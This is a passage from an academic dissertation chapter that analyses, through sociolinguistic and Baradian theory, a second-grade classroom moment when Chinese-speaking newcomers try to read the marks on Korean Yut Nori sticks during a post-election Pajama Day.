relationship between Chinese and Korean, but that other peers in the class didn’t. “Madeline said Korean come[s] from Chin[ese]”, Xi Xi Lu reported, translating what Madeline and the tablet negotiated together from Google Translate a second earlier. At our table in the hallway, Madeline shows me the tablet on which is written “South Korean used to be from China”, and then a second later “South Korea is a small country so they cannot protect themselves.” (see Figure 5.2) Figure 5.2. Xi Xi Lu and Google Translate Neural Network. May 3, 2017: Watching the video of the moment months later, Bella, a classmate in Room 246 that reported only knowing English, noted, “It was surprising that they (Xi Xi Lu and Madeline) could read it (yut), but they didn’t know what it meant.” May 28, 2017: Contesting Bella’s impression that Xi Xi Lu and Madeline didn’t know the meaning, when Xi Xi Lu watched the video of this moment, Xi Xi Lu claimed she did know what the yut meant. “Me and Madeline know these three words, but we don’t know this word”, said Xi Xi Lu, pointing to the words on the yut. “Oh, so you knew the three words on top?” I say. “Yes!”, replied Xi Xi Lu and Madeline. Xi Xi Lu wraps her arms around her body. “Oh, everybody’s together?”, I guess. “yeah”, affirm Xi Xi Lu and Madeline, Madeline adding, “and very safe” (Madeline) “and eating, talking, TV, and play (Xi Xi Lu). “So, how is it that you know but Sapphire and Ruby [do] not know?” “Because it’s in Chinese”, replies Madeline. “Yeah”, affirms Madeline. “and they don’t know Chinese”, Xi Xi Lu reports. Xi Xi Lu follows up by stating that her classmates are surprised because “they think this is Korean, but it is Chinese”…and Sapphire don’t know, WE know. So they are very surprised”. “and Ruby don’t know too”, adds Madeline. May 3, 2017: “you know Xi Xi Lu and Madeline actually told me they knew what it said”, I say to a group of children during a focal group interview. “SERIOUSLY?” Ruby and Sapphire say at the same time. “they told me it was Chinese”, I replied. Sapphire was quick to disagree, “it wasn’t Chinese”. “It might be”, Ruby tries to persuade her to reconsider, but Sapphire shakes her head adamantly, seemingly unwilling to take up this idea. Ruby again persuades, “Sapphire, it might be”, Ruby exclaims. Sapphire, owner of the famed yut had the last word. “it’s NOT Chinese”, she said. **May 23, 2017:** Through card sorts throughout the year, Xi Xi Lu and Madeline agreed this moment was the second most important of the second grade school year due to bubble-gum pink footed pajamas, the presence of Chinese, and that unlike the rest of the classroom, she and Madeline were able to read the marks on the yut. Xi Xi Lu reported finding wearing pajamas at school “crazy”, and whenever the word “pajamas” came up during interviews, Xi Xi Lu would smile, sometimes dance, and make bursts of sounds (See Figure 5.3—5/23/17 interview). *Figure 5.3. 5/23/17 interview.* **Focus of Inquiry: Post-Election Pajama Day Yut Nori** In this chapter, I first outline the focus of inquiry, followed by an explanation of the guiding theoretical framework, short story of the Yut Nori moment, and analysis. I return to the conversations that open the paper in the analysis. Guiding my inquiry of the post-election pajama day Yut Nori moment are the following questions: 1) How do the contrasts of language making across multiple spaces and times contribute to recognizing engagement? 2) How do classroom repertoires of room 246 emerge across multiple spaces and times? In this chapter I diffract recent perspectives in sociolinguistics on scalar analysis as rhizomatic and materially-negotiated (Canagarajah, 2017, 2018b; Canagarajah and De Costa, 2016) with Barad’s (2007/2010) concept of spacetimemattering. ‘Scale’ as it operates in the socio and applied linguistics scholarship I work with is a frame adapted from social geography and world systems analysis as a way to conceptualize what comes about from the nuances of multiple spaces influencing each other and converging in different ways. Barad (2007) also refers to her concept of spacetimemattering as an agential reading of scales. Diffracting these two different approaches toward scale, I consider the stories of the Yut Nori moment as meshed local/global space, time and matter, ‘transglocaltimematterings’. I borrow the phrase “transglocal” from Scott and Dingo (2012) as a succinct linguistic meshing to characterize an interpenetrating local and global space, where local/global can’t necessarily be distinctly defined. With the post-election pajama day Yut Nori moment, I make three arguments. The first is that repertoires of the classroom during the Yut Nori moment are dis/continuous and dis/located transglocaltimemattering. That is, they are materializations comprised of multiple transglocal spaces, times, and human/non-human comings together, and the ambiguous relations of power these co-broker together in a circle on the classroom rug. I work with Barad’s (2013) term “dis/continuous” and what through diffracting concepts I refer to as “dis/locat(ion)”, to refer to the contrasts occurring when different times and spaces are brought together. I show how the moment was flush with ambiguously enfolded relations of power linked to memories and moments across China, Korea, and America. The second argument I make is that despite the tensions and ambiguities of language making across different times and spaces that seemingly cut players and partners in the classroom apart, these juxtapositions of the dis/continuous and dis/located harnessed with the circle in Room 246 provide yet another way to recognize engagement. For the third argument, I return to an argument made in chapter three, calling for an additional approach to conceptualizing repertoires in classrooms with young children. This argument builds upon the socio and applied linguistics concept of “spatial repertoires” (Canagarajah 2018a, 2018b, 2018c; Pennycook & Otsuji, 2014/2017; Pennycook, 2017; 2018a; 2018b). This conceptualization suggests recognizing the repertoires of classrooms are enfolding transglocalmatterings such that disjunctures within and across repertoires are engaging. As will be elaborated throughout the chapter, this is a different pedagogical approach than identifying particular combinations of objects, items, sounds, texts that combine to provide particular ways of engaging in classrooms that can be replicated. **Theoretical Orientation: Diffracting Scalar Approaches** **Rationale** The rationale for a diffracted scalar analysis of the Yut Nori moment brings together Madeline, Xi Xi Lu, and my sense-making of the Yut Nori moment with what is well-documented in scholarship in language and literacies. First, ‘scale’ is important to consider given what have been noted as the interpenetrating and blurred binaries between the local and global that affect schools, classrooms, communities and the children and youth that take part in them (Brandt & Clinton, 2002; Canagarajah, 2013/2017; Canagarajah & DeCosta, 2016; Collins, Slembrouck & Baynham, 2009; Hawkins, 2018/2014; Ghiso, 2016; Lam & Warriner, 2012; Stornaiuolo et al., 2016). The Yut Nori moment was similarly an intermixing of many times and spaces that had already begun, from moments across the school year in their U.S. classroom, and those in Korea and China. Threaded together in this moment, reverberating, was the year of the monkey according to the Chinese Zodiac with the beginning of US president Donald Trump’s first term in office. Trump had just won running on a nationalist campaign responding to the time-space compression of a current era of globalization by promising to build a wall to keep out, deport, and suspend immigrants, while also provoking a contentious relationship with China. Yet rather than the year of the monkey and Trump’s politics coming together in this moment, what was perhaps more noticeable to the majority of children in Room 246, was that the moment also coincided with a school holiday called “Pajama day”. This day is a phenomenon of American public school culture originating around the 1980s, where on a few select days per year, children are encouraged to wear sleepwear to school as a way of having fun and showing school spirit. Another rationale for considering a scalar approach is that Madeline and Xi Xi Lu suggested through their drawings and words that their time at Oakville was a mix of different times and spaces. For example, when Xi Xi Lu was asked to draw a picture of her school, when talking about the picture (see Figure 5.4), she noted that she visually combined features of her school in the U.S. and China. Xi Xi Lu said she began by drawing Oakville, but then when couldn’t remember all the details, filled these in with how she remembered her school in China. She then showed me what appeared as a fence at the top of the drawing, noting that this was a feature of her school in China, not Oakville. When Madeline was asked to complete the same task of “draw your school”, she clarified the directions, asking if she could draw her school in China rather than Oakville. Figure 5.4. Xi Xi Lu’s map of school--mix of Oakville and former school in China. Theoretical Approach The following section outlines the theoretical approach taken to analysis given diffracting conceptualizations of scales from sociolinguistics and Barad’s (2007) agential realist reading of scales together. What is made possible by bringing these two together is attention to space as being composed of local and global emergently constructed, imbibed with power in a process of mattering. Both conceptualizations are needed because not fully theorized by Barad’s work is space as meshes of local and global infused with considerations of power, which *is* a focus in work in socio and applied linguistics (Canagarajah & De Costa, 2016; Canagarajah, 2013; Stornaiuoloo & LeBlanc, 2016). Conversely, scholarship in socio and applied linguistics does not fully theorize time as part of a spacemattering mesh, nor theorize the forces felt from disjunctures of spacetimematterings. While work in sociolinguistics tends to draw on Lemke’s conceptualization of time scales and Bakhtin’s (1986) notion of chronotopes to consider meshes of spacetimes, matter as part of this mesh is not accounted for as enfolded with spacetimes as it is in Barad’s (2007/2010) work. Furthermore, while some empirical work in socio and applied linguistics attends to material considerations such as how objects and texts change spaces, there are few empirical examples. Diffracting the transglocal nature of scalar analysis in sociolinguistics with Barad’s spacetimematterings, I suggest language making of the Yut Nori moment is a transglocalmattering, a materialization comprised of multiple transglocal spaces, times, and human/non-human/more-than human comings together, and the ambiguous relations of power these co-broker together on the classroom rug. Bringing these different conceptualizations of scales together does the following. First, language making is a performance that can change the space of Room 246. Second, it makes visible how the then penetrates the now, just as the local penetrates the global. Adding to this, it brings attention to the disruptions and contrasts between the here and now, local and global. These contrasts also change the space of Room 246. These considerations inspire an analysis of what Barad would consider is ‘ghostly’ about the transglocal, suggesting the many remnants of other times that penetrate transglocal spaces. Playing with the prefix ‘dis’ just as Barad, a diffractive analysis furthermore encourages a consideration of how participants in the classroom might be dis/oriented through these transglocalmatterings, and what additional stories these dis/orientations provide. In the following section, I outline the diffracted approach to scales that guides the analysis: scales as a) marbled and enfolded b) where power is emergently negotiated c) as a mattering where multiple participants in Room 246 broker scales with children, and d) marbled and comprised of ontological fusions that provoke forces felt. Scales as Marbled and Enfolded. In this chapter, scales are conceptualized according to work in socio and applied linguistics suggesting scales be considered rhizomatic, or “non-linear”, “unpredictable”, “non-synchronous” (Canagarajah, 2017) and “multidirectional” (Canagarajah & De Costa (2016). This is in contrast to the majority of work in socio and applied linguistics oriented to scalar relationships as laddered (Collins, 2012; Dong & Blommaert, 2009; Kell, 2013; Mortimer, 2016), layered (Blommaert, 2007; Gu & Ho, 2012), and nested (Clonan-Roy, Rhodes & Wortham, 2016). Scales as rhizomatic is more resonant than other scalar work in sociolinguistics with what Barad’s calls an “agential enfolding of scales” or spacetime matterings such that scales enfold “through one another” (Barad, 2007, p.245). Barad’s conceptualization of scales inspires theorizing scales as marbled, thus intermixed such that each scale is tinged in essences of the other rather than separate distinct entities that are layered. Barad’s concept of spacetime mattering suggest scales oriented toward mattering do not order bodies, communities, nationalities, or global locations hierarchically in terms of size, nor as separate, as evident from a conceptualization of scales on a continuum of centre-periphery and global-local. An ontological marbling of scales thus makes it impossible for scales to be “jumped” (Blommaert, 2010; Canagarajah, 2013; Kell, 2013), or “moved across” (Dong & Blommaert, 2009), an image that to me conjures changes to a new position or fixed point on a grid. Rather than a layering which conjures material entities assembled on top of and overlapping yet separate, Barad’s work pushes on conceptualizing separate layers to materializations interpenetrating each other horizontally, ontologically enfolding as matter. Rather than a laddering or continuum of local and global, with marbling, just as Canagarajah (2013) theorizes, it’s often impossible to distinguish what is ‘local’ and what is ‘global’, as they are fused. Scales Where Power Is Emergently Negotiated. In linguistically and culturally diverse contact zones where mixes of the local, translocal, national, transnational, and intercultural “rub” (Pennycook & Otsuji, 2014), power is emergently negotiated in the here and now of classrooms and schools. Scholarship in language and literacies note what is critical about this attention to power is it provides explicit attention to how (in)equities manifest in education (Canagarajah, 2013; Stornaiuolo et al., 2016; Stornaiuoloo & LeBlanc, 2016). In contrast to approaches to scales attending to laddered relationships linked to a priori degrees of power, the orientation I work with is that scales do not begin with pre-existing categories of power, but rather involve emergent negotiations of power and (in) equality. This is significant because when these marbled transglocal spacetimes come together, this changes the dynamic of power in a space, transforming how engagement can be recognized. Emergent negotiations of power also align with scholarship advocating for a rhizomatic approach to scales and an agential enfolding of scales (Barad 2007/2010). An *a priori* assumption of inequality prior to a particular entanglement is not taken, as it is acknowledged enfoldings of inequalities can enter into intra-actions emergently. To Barad, just as affective forces, forces of power are always shifting. Working with Barad’s perspective, I suggest (in)equalities can lie dormant, surfacing across intra-actions in different ways. Furthermore, ways of being perceived in the classroom, such as race, class, gender, and age, intra-actively come together, enfolding at different speeds. Such categories often thought of as structural constructs could be explained not as a sedimentation, but rather as slower moving components. Working with an intra-active perspective, I suggest (in)equalities associated with these tinges may always present in some way, but may still dissolve, implode, and re-enfold at any given second. Thus, I pose these intra-active tinges do not suggest that children, teachers, and researchers move in the spaces of school in similar ways, but that we cannot assume how these tinges will operate prior to each intra-action. **Mattering where Players and Partners in Room 246 Broker Scales with Children.** Much scholarship in sociolinguistics is oriented to humans as the agents of scaling (Canagarajah, 2013), just as the process of scaling is noted as foregrounding “social” life (Canagarajah & De Costa, 2016; Prinsloo, 2017). Aligning with Canagarajah (2018b) and Canagarajah and De Costa (2016), scaling is conceptualized in this chapter as oriented to material negotiations in Room 246. Canagarajah and De Costa (2016) note that the “material world” is agentive, such that scales can be brokered by non-humans. From this orientation, I suggest that children in Room 246 negotiated what might be called the scaling of language making in partnership with multiple players and partners in the classroom—children and teachers, yet also yut. There are still few empirical examples in sociolinguistics where humans are not the primary agents of scaling. Empirical work that pushes closer in this direction is work in adult literacies, such as Kell (2013), that foregrounds the work of the text and semiotics with the individuals that composed the text, and work in youth literacies that align with Barad’s agential enfolding of scales (Juelskjaer, 2013; Wargo, 2019). **Marbling: Ontological Fusions of Scales that provoke Forces Felt.** Barad’s (2007) conceptualization of scales as agential enfoldings worked into analysis makes possible a different kind of analysis so far not theorized in socio and applied linguistics. The distinction with Barad’s conceptualization of scales compared to posthuman-oriented work in applied linguistics is Barad notes an ontological *fusion* of material as matter rather than *attention* to material. Barad (2010) writes what she calls ‘quantum entanglements’ “are far more ghostly than the colloquial sense of ‘entanglement’ suggests. She clarifies that “*Quantum entanglements* are not the intertwining of two (or more) states/entities/events”, which is what is the orientation of post-human perspectives in socio and applied linguistics suggests, but as Barad notes, “a calling into question of the very nature of two-ness, and ultimately of one-ness as well” (p. 251). This has significant implications for Room 246 because it suggests being attentive to the physical nature of the classrooms would not be sufficient. Barad (2013) work would likely critique such an approach as attending to “brute matter situated in space and time” (p. 29). To Barad, matter is not situated in spacetimes, but rather is productive of creating spacetimes. To Barad (2007), space, time, and matter are differently configured with each iteration of language making, what Barad considers a phenomena: “space and time (like matter) are phenomenal, that is, they are intra-actively produced in the making of phenomena; neither space nor time exist as determine givens outside a phenomena” (p.383). I take the orientation that prior to a particular instance of language making, or language mattering, space and time cannot be defined. A second distinction has to do with how power and meaning are understood as being negotiated across scales. Canagarajah and Blommaert’s (2010) work in scales is tied to indexicality, that is different meanings that are negotiated across and between different scales. Indexicality is seen as being significant to power relations because the meanings linguistic and semiotic resources ‘index’ in particular scales might be different, leading to different outcomes (Blommaert, 2015; Canagarajah, 2013; Stornaiuolo et al., 2016; Stornaiuoloo & LeBlanc, 2016). The approach taken to scales in this chapter is that the symbolizing aspects of communication is one small part of what is engaging about language making. **Short Story—Post-Election Pajama Day Yut Nori Moment** In the following section I present a short story of the original moment of the Yut Nori demonstration referred to at the beginning of the chapter. This telling is collaboratively told with children, Kodak Touch camera and Go Pro. An analysis of the story and moments follow the story. Yut, are introduced to the class by Sapphire, who wears very large dog slippers. There are four wooden yut about a foot long, with the narrow circumference of a broom handle (see Figure 5.5). Marks of some kind appear vertically down the yut in black. Figure 5.5. Yut and Sapphire during post-election pajama day Yut Nori moment, 1/17. Second grader Clarisse with the ultra-wide-angle lens and barrel distortion of the Go Pro strapped to her chest, records simultaneous to me and Kodak touch, sitting a few places to my left. Through this view, the class can be seen moving from facing forward to sitting cross-legged in a circle, a large ‘O’ where all eyes are on Sapphire and Ruby. Sapphire and Ruby explain in detail to their classmates how to play the Korean game called “Yut Nori”, requiring four yut and a mat. In the moments that follow, the yut draw considerably more attention than the mat. We watch, attention seemingly focused as blood sugar soars through puffed rice and corn chips, juice boxes, skittles, and grocery store apples, details significantly less visible with researcher and Kodak touch lens (see figure 5.6). Figure 5.6. Video footage from Clarisse with Go-Pro--circle, apple core, skittles. Ruby casts the yut in the air several times. When the yut hit the rug, they make a hollow sound—soft, like the strike of wooden candle bowling pins, or a wooden block structure crashing down. Markus nearby scrunches up his face as if responding to the noise. He stops from chewing an apple for a second, pausing mid-bite. The sound is repeated as the yut are thrown and fall to the floor a second time. Ruby continues to move the yut as she explains the game directions. Again, the yut clank. Xi Xi Lu enters the circle by walking through it after arriving from her pullout ESL classroom. Her pajama-clad legs walk over the yut. Her steps slow as she steps over the yut and looks down momentarily. Yut with marks face upward. They have seemingly caught her attention (see Figure 5.7). Figure 5.7. Sharing Yut, Xi Xi-Lu walks through middle of circle. “Can you tell us what is written on each of those sticks?”, says the teacher. Ruby says, “I have no idea”. “My grandma I don’t think even knows what it says”, replies Sapphire. It’s what happens next that is a moment of surprise. One of Xi Xi Lu’s classmates described Xi Xi Lu’s “jumping out” of the circle to read the yut as a “big moment” because as her classmate noted “she (Xi Xi Lu) came up out of nowhere and said ‘hey, what’s that. Maybe I can help out with that.” (interview 5/5/17). I too was surprised, never having seen Xi Xi Lu voluntarily speaking out in front of the whole class before. Xi Xi Lu raises her hand halfway up by her side. Xi Xi Lu later stated she didn’t put her hand up higher because she didn’t know if she would be able to read the yut or not. “I think Xi Xi Lu has an idea”, says her teacher, seemingly noting Xi Xi Lu’s hand. “Xi Xi Lu, do you know what’s on those sticks?” Xi Xi Lu zippered into footed pajamas with images from the DreamWorks movie “Trolls”, walks slowly toward the yut, her back hunched, to the front of the circle. One stick is now in her hand. The yut marks tilt toward her face. When Xi Xi Lu speaks, it sounds like she is decoding in Mandarin, pronouncing syllabus slowly (see Figure 5.8). She looks at the stick, scrunching up her face. “ENGLISH PLEASE”, I hear second grader Markus say, noting this in my fieldnotes. Figure 5.8. Decoding marks. Three seconds later Madeline, hops up, moves to the front of the circle and holds one stick with both of her hands (see Figure 5.8). Her fingers layer over the logograms like a net. Madeline too later remarked she wasn’t sure if she would be able to read them. Madeline pronounces slowly in Mandarin in front of the whole class. “What does it mean?”, asks their teacher. Xi Xi Lu and Madeline don’t respond to the teacher but negotiate between each other for several seconds in Mandarin, so soft it is not recorded. Patrick then jumps up from his place in the circle (see Figure 5.9) and joins Xi Xi Lu and Madeline, grabbing the stick out of their hands. Patrick attempts to decode yut, video footage from Clarisse-Go Pro. Patrick silently places his pointer finger on several of the characters on the stick and then shrugs his shoulders. “You don’t know?”, says the teacher. “It’s all Chinese”, says Patrick. “I don’t think it’s Chinese”, replies his teacher. Madeline, with Google Translate and tablet later explain the confusion as to why the marks didn’t look like Chinese—they were written in a stylized manner such that “it looks like cursive”, making them hard to read (5/5/17 video elicitation interview) (see Figure 5.10). Yet as noted in the beginning of the chapter, the explanation of the marks on yut was contested, never to be fully realized, although we all have our guesses as to what was going on. Throughout the second grade year, we never reach a consensus of the language of the yut or what they say. Figure 5.10. 5/5/17 video elicitation interview, Madeline and tablet. Analytical Retellings of the Short Story: Dis/continuities and Dis/locations This "beginning," like all beginnings, is always already threaded through with anticipation of where it is going but will never simply reach and of a past that has yet to come. It is not merely that the future and the past are not "there" and never sit still, but that the present is not simply here-now. *Multiply heterogeneous iterations all: past, present, and future, not in a relation of linear unfolding, but threaded through one another in a non-linear enfolding of spacetime mattering, a topology that defies any suggestion of a smooth continuous manifold.* (Barad, 2013, p.17) *The global and local interpenetrate each other. The global is instantiated in the local, and vice versa* (Canagarajah & De Costa, 2016, p. 4) In the following analysis, I bring together the short story of the Yut Nori moment, children’s words and embodied movements during video elicitation interviews, and the diffractive theoretical approach to scales. I suggest that the players and partners in language making co-broker transglocal timematterings of post-election pajama day Yut Nori. Such iterations of transglocal matterings are the language making of the moment. These iterations are each attributed with different capacities or repertoires that change ways of engaging from moment-to-moment. These brokerings morph power relations, redistributing them. The players and partners creating the spacetime mattering of engagement are a circle of children and words, yut with ambiguous marks, Troll pajamas, and the enfolding transglocal times these provoke. Through this analysis, I suggest that within the focal moment, there’s the anticipation of knowing what the yut will mean. Yet we never come to know what they say, in the way we hope to know. On the classroom rug, we are moving, steeped in a multiplicity of transglocal moments, all of which are still working themselves out, continuing to enfold as we sit in a circle. The future, then, of what these transglocal moments will produce is yet to come. The future and past of these transglocal moments are not “there”, but yet not existing without other relations, what has become our “here” in this circle. The present is as we hear, see, and feel it in the language making in the circle is “not simply here-now”, as Barad writes. Yet it is not simply ‘there’, as an interpenetrating local and global suggest (Canagarajah & De Costa, 2016). Past, present, future—moments from Ruby’s home, the local library, and Oakville School; moments from living in the U.S., China, and Korea are threaded through each other. Moving through this moment, these iterations are heterogeneous, bumpy, turbulent, fragmented, and scrappy. I consider the following analysis an analytical retelling of the chronological short story of the Yut Nori moment. The analytical re-telling occurs over six excerpts of transglocaitimematterings. Through the first five excerpts, I suggest how during the Yut Nori moment we might be seen as cut apart in this moment through the ambiguousness of transglocaitimetimes and the power relations, tensions, and contentedness moving with these. Through the sixth excerpt, I suggest how we are simultaneously cut together as all part of a circle on the classroom rug. **Transglocaitimemattering 1: Xi Xi Lu ⊕ Chinese as Bounded ⊕ Pajamas ⊕ A Lunar New Year Monkey ⊕ In-between time of day** When Xi Xi Lu raises her hand, “jumping out” in what her classmate described as a “big moment”, it could be seen as an act where relations of power shift as Xi Xi Lu in Pajamas with the yut initiate a new relation of the moment through standing up, walking over, and beginning to de-code the yut. In this act, these players reconstruct what ‘the’ language of the yut and classroom are thought to be. Forces of power moving through the moment change relations in the classroom of how language in Room 246 is recognized. For example, English is challenged, as is Korean. Korean being challenged is significant in Room 246, since Koreanness is a narrative that has come to suggest being able to slide more easily into ideologies of successful migrant at Oakville school such as the academic gifted program, being seen as class monitor by Madeline’s dad, and the non-tonal whispering of Korean in the classroom that is perhaps less aurally juxtaposed to American English than tonal Mandarin. With this hand raising, standing up, and jumping out, forces of power with Xi Xi Lu and pajamas transforms the language of the classroom from the English-text-on-page-dominated space of writing workshop, to Sapphire and Ruby writing about Korea and Korean Lunar New Year, to suggesting Chinese too has a place in this circle. Such relations of power resonates with Canagarajah’s (2013) suggestion that with others, migrants, in this case, children who might be seen as more recently arrived, can co-construct norms and values in translocally negotiated spaces, producing complex articulations of power with these relations. Forces of power are thus emergently negotiated with Xi Xi Lu, pajamas, and yut. This “out of nowhere” as phrased by Xi Xi Lu’s classmate could not be more apt. It is a dis/located nowhere marbling between Room 246 of this moment with others, with ways of being able to decode in Mandarin, learned in her former school in China and home. Such forces of power, perhaps are not linked to bounded categories of a nation state, but rather are forces that enfold and move at a slower speed than others. Xi Xi Lu and Madeline tell me several months later during a video elicitation interview that they know the meaning of the first three words on the yut because the words are Chinese. *They know*, Xi Xi Lu and Madeline report, “because it’s in Chinese”…“and they don’t know Chinese”…“they think this is Korean, but it is Chinese”…and Sapphire don’t know, WE know. So they are very surprised”. “and Ruby don’t know too” (4/28/17 video elicitation interview). Taking into account Barad’s notion of spacetime mattering, I suggest this statement is a dis/continuity with the original moment. There is a continuity of enfolding, slower moving forces of power perhaps continuing to flow from the original moment. Yet during the interview, Xi Xi Lu and Madeline speak in a state of disjuncture, perhaps cut off from being formerly being known “newcomers”, at least to themselves, having learned more English and becoming more habituated to doing school at Oakville almost five months later. Perhaps it would not have been possible for Xi Xi Lu and Madeline to make such a seemingly confident statement right after the moment occurred. I suggest it was the dis/continuous enfolding spacetimemattering of multiple moment enfolded with the original moment, tablet computers, hallway and in-class interviews that together produced such knowledge. It was furthermore video with researcher questioning coming together to crystallize the notion proposed above during our video elicitation interview. Let’s return to Canagarajah’s (2013) mention of ‘others’, those with whom Xi Xi Lu in relation can co-construct what Canagarajah calls norms and values in her classroom. ‘Others’ in this case are not only those of her teacher, Sapphire, Ruby, Patrick, Clarisse, and Madeline. They are also the relations between pajamas and pajama day across times and spaces. As Canagarajah and De Costa (2016) note “treating human beings as agentive should not lead to ignoring the influential role of other non-human agents (p.3). Scholars of applied linguistics (Canagarajah, 2017; Canagarajah & De Costa, 2016) suggest we consider how material characteristics can “rescale”, or in Barad’s terms enfold spacetimematterings. For example, despite Xi Xi Lu being adamant that Chinese made the moment significant, as noted at the beginning of the story, in other moments it appeared that pajamas and pajama day is what made the moment significant to her. In one such moment, such as when we watched the video of the original moment on 5/23/17, Chinese and Korean aren’t noted as being un-important, yet bubbling under the surface of what came to together was pajama day storied as “crazy” by Xi Xi Lu, a dis/continuity provoked by the disjuncture of pajama day that enabled the pink Troll pajamas to be visible, not possible during a usual school day. Thus, pajamas in this moment with Xi Xi Lu could “re-scale” or be productive of enfolding spacetimematterings. It was the disjuncture and dis/location with memories of her former school, where the global penetrates the local. If Troll pajamas such as Xi Xi Lu’s and dog slippers such as Sapphire’s were worn at her school in China, it would be really “crazy”, a dis/continuity and dis/location, given “pajama day” was not practiced. This disjuncture is perhaps what propelled Xi Xi Lu to smile, dance, make exclamations, and re-rank photo elicitation cards to rank the moment as more important with the mention of ‘pajamas’—“this, this” (see Figure 5.3). Engagement therefore could be attributed to the pink Troll pajamas acting on Xi Xi Lu, transforming her to act in a way she hadn’t before in school—a disjuncture of physically getting up to answer a question in a whole-group setting. The juxtapositions of this dis/continuity and dis/location are, do pajamas and pajama day thus provoke the possibility of un-doing English and un-doing Korean, bringing Chinese into a different relation of power? Does the dis/continuity and dis/location, the “craziness” un-do Xi Xi Lu seeing herself as newcomer when watching the video? Do pajamas unhinge ways of acting, being, and forces of power in the classroom? Is it the dis/continuities and dis/locations of the video elicitation interview that make possible telling these dis/continuous stories? The ambiguous transglocalmatterings provoked by pink troll pajamas with Xi Xi Lu create what Canagarajah (2018b) notes is a space between the local and global. Pajamas enfolded into the here and now of pajama day in the U.S. classroom, an in-between type of day on the U.S. school calendar. This was enfolded with the lunar calendar, and how pajamas in school would be in China, where pajama day wasn’t practiced. Both of these once a year holidays are a disjuncture, infrequently occurring, yet have a continuity of an expected routine to follow on their given day. This was enfolded with how it is on days when wearing day clothes, a continuity, rather than wearing night clothes to Oakville school. Might the ‘craziness’, the dis/continuity, also be that Xi Xi Lu is the only one out of she, Madeline, and Patrick dressed up for Pajama day, an American school holiday, making her outward appearance on this day more similar to the longer-term residents of Room 246 rather than newcomer classmates of Patrick and Madeline? The pink pajamas with DreamWorks Troll characters that might be seen to bring Americanness into the moment, are in fact a transglocal mesh enfolding U.S. pajama day, transglocal pop culture, and capitalism shaped by a Chinese market, where global penetrates the local. It was the DreamWorks animated movie Trolls that premiered in China by Oriental DreamWorks one week before its American release, a company strategy to cater to a growing Chinese box office market (Song, 2018). Thus, Xi Xi Lu with pajamas and yut enabled different possibilities than tablets and Google Translate neural network, a continuity from other times of the year. Just as with Google Translate as noted in chapter four, pajamas just as yut (re) made relations of power as ambiguous. For Xi Xi Lu, it was pajamas and Chinese that made the moment significant. Yet perhaps pajamas in the moment were more Chinese than they appeared to be given Hollywood’s catering to a Chinese market? Maybe it was not only the pajamas, but the ghostly presence of a clever the monkey, making its way into the start of the Lunar New Year, provoking Xi Xi Lu? Entangled with Lunar New Year are other matterings across time and space from Oakville across the school year—there was an emerging realization that in this moment Xi Xi Lu and Madeline could do and say more than Sapphire and Ruby, peers that Madeline viewed as leaders; memories across the school year where Patrick, their peer translator and competitor, could seemingly do so much more in the classroom than Xi Xi Lu and Madeline, but were different from this moment. This time was further meshed with this in-between time of day—not math, not literacy, not only snack, not writing, nor on the calendar of the day that was visible from our spots on the classroom rug. **Transglocaitimemattering 2: Patrick’s Chinese as bounded Marks on Yut** During the original moment, when Patrick holds the yut announcing, “It’s all Chinese”, he, just as Xi Xi Lu and Madeline, suggest marks on the yut are not ambiguous, but rather named and bounded. Diffracting Canagarajah’s (2013) and Barad’s (2013) work makes visible how a bounded language such as Chinese works as a continuity. Working with Barad’s concept of spacetimemattering, I argue that such a continuity might be conceptualized as enfolding operating at a slower speed. To Canagarajah (2018c), this is explained through indexicality and language ideologies where “certain words index certain places and communities, and develop identities as distinctly labeled or territorialized languages. Indexicals sediment over time to gain an identity as belonging to one language or the other, with a specific grammatical status in that language” (p.37). Patrick’s adamant announcement of the marks being Chinese is an interesting juxtaposition given he is not able to decode the marks—a disjuncture. The marks are dis/continuous and dis/located. They leave us in tension, just as Sapphire and Ruby are expected to know the language of the yut, but realize they do not. The marks are a dis/continuity given what might be logograms are conventionally expected to signify, yet they do not, at least to all of us in Room 246 in that moment. Even though the marks seemingly somewhat signify to Xi Xi Lu and Madeline, they only report this information several months later (5/28/17 video elicitation Furthermore, the marks don’t signify for all readers of Chinese in the room. The marks are furthermore a disjuncture because Patrick is expected to be more knowledgeable than Xi Xi Lu and Madeline, as he is usually the peer translator: *They seemed to know what was written on there (the yut), but they seemed like they didn’t exactly know what they mean…* (Sapphire, 3/30/17 video elicitation interview) *It was surprising that they (Xi Xi Lu and Madeline) could read it (yut), but they didn’t know what it meant* (Bella, 5/3/17 video elicitation interview) In this disjuncture, it is the anticipation of where it is going, at least where we might think the decoding of the yut is going, that we never reach. Barad writes of the disjuncture: a disruption, bringing us up short, disrupting us, disrupting itself, stopping short before getting to the next one. A rupture of the discontinuous? A disrupted disruption? A stutter? The reiteration not of what comes before, or after, but a disruption of before/after. (Barad, 2013, p. 30) Perhaps it’s the material characteristics of the ambiguous marks on yut that shape the moment. Are what I call here ‘marks’, logograms, letters, scribbles, a thing, an image, or something else? Might it be the ambiguous black marks that lead Patrick to shrug, enabled to be seen by Xi Xi Lu from across the circle? Could it be these marks that render tentative sounds as Xi Xi pronounced slowly, leading Sapphire to note, “My grandma I don’t think knows what is means”?, and the teacher, “I don’t think it’s Chinese”, and Google Translate neural network with Madeline and tablet to explain their ambiguity as “looks like cursive”? Could it be *not* understanding the meaning of ambiguous marks on yut, what were thought to be Korean, not necessarily signifying, that propels engagement in the moment? Considerable forces of power move with these ambiguous black marks. Just as the yut perhaps disrupt who and what can be the expert, Patrick’s decoding incomplete, ending with a shrug, stops short before getting to the anticipated translation. Yet it is also these marks on yut that mark a disruption to Sapphire’s notion that Korean and Chinese are separate: “at first I didn’t realize that (Korean) was similar to Chinese”, she notes. A disruption is that we might not get to the bottom of this mark on yut conundrum. As will be returned to in a few paragraphs, it is the disruption, this dis/continuity and dis/location of enfolded relationships between Chinese and Korean across hundreds of years, in China, in Korea, playing out in this moment at Oakville school. With the yut, a monolingual ideology, the possibility of their being ‘just one’ is disrupted. Before/after and cause/effect are disrupted as the marks do not seem to signify to anyone, at least during the original moment. Marks on yut shift relations, just as pajamas, pajama day, an in-between time of day, Patrick, Xi Xi Lu, and Chinese as bounded. Do the relations marks on yut spawn produce them having a greater capacity to act, perhaps, than the human participants are expected to in this moment? **Transglocaitimemattering 3: Yut@Korean@Sapphire** Chinese is a force invited to materialize when the yut come into the classroom and Xi Xi Lu raises her hand attempting to decode the yut, and makes more progress in doing so than anyone else in the circle. For Sapphire, the force of Chinese brought into the classroom with yut is contested. For Sapphire a dis/continuity is how she perceived Korean with the yut and how she does now: How it is now, how it was then. Sapphire suggests: “it wasn’t Chinese”… “it’s NOT Chinese”. Cut into Sapphire’s 